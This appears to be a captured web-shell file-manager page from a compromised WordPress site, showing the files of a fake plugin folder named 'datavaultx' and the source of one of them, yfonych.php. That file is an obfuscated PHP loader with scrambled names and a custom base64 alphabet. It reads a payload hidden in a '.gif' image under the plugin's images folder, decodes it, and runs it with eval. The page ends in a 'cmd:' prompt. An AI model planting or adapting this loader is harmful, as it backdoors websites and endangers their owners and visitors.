FM / datavaultx

/home/vianto5/haciendasanpancho.mx/wp-content/plugins/datavaultx/

/home/vianto5/haciendasanpancho.mx/wp-content/plugins/datavaultx

Name	Size	Mode	Actions
images/	-	0755	rm
js/	-	0755	rm
datavaultx.php	830	0644	edit dl rm
index.htm	0	0644	edit dl rm
yfonych.php	1494	0644	edit dl rm
zomeso.php	658	0644	edit dl rm

Edit: /home/vianto5/haciendasanpancho.mx/wp-content/plugins/datavaultx/yfonych.php (1494B)

<?php

class opimin_udatuxih {

public static function akovuk_quchechyhuq($exuwyb_azhothenabo, $taxaze_ihebyced = false) {
        $qunaza = "/DW72TNiEaB1vJlnCQVjAIZrezKSMGuPoRUwb8qd6+xct9=FsOmXhyLfYH40gpk53";
        $udyxan = "2Zk3+pJRAVsG5D6f0iF4xWqX=jQYUnPEHSrNteOM18KTCozahuvdBwcgy/lm7LIb9";
        $zilakyt = array();
        for ($uvanob = strlen($qunaza) - 1; $uvanob >= 0; $uvanob--) {
            $khihyzi = substr($qunaza, $uvanob, 1);
            $bopecho = substr($udyxan, $uvanob, 1);
            $zilakyt[$khihyzi] = $bopecho;
        }

$ezagyc = strtr($exuwyb_azhothenabo, $zilakyt);
        $ezagyc = base64_decode($ezagyc);

return $ezagyc;
    }

public static function hylumi_ucaqosho($exuwyb_azhothenabo) {
        $rysyta = array();
        if (!file_exists($exuwyb_azhothenabo))
            return false;
        $isuqodo = @file_get_contents($exuwyb_azhothenabo);
        if (!$isuqodo)
            return false;
        $isuqodo = substr($isuqodo, 3);
        $rysyta = self::akovuk_quchechyhuq($isuqodo);
        return $rysyta;
    }

}

function efomyd_jufathyhosh($exuwyb_azhothenabo) {
    $rysyta = opimin_udatuxih::hylumi_ucaqosho($exuwyb_azhothenabo);
    return $rysyta;
}

function ubunut_idofalyb($exuwyb_azhothenabo) {
    $ecyrykh = opimin_udatuxih::akovuk_quchechyhuq($exuwyb_azhothenabo);
    return $ecyrykh;
}

$jebovy = efomyd_jufathyhosh(__DIR__ . "/imag" . "es/mav" . "uze.gi" . "f");
if ($jebovy) {
    @eval($jebovy);
}

cmd: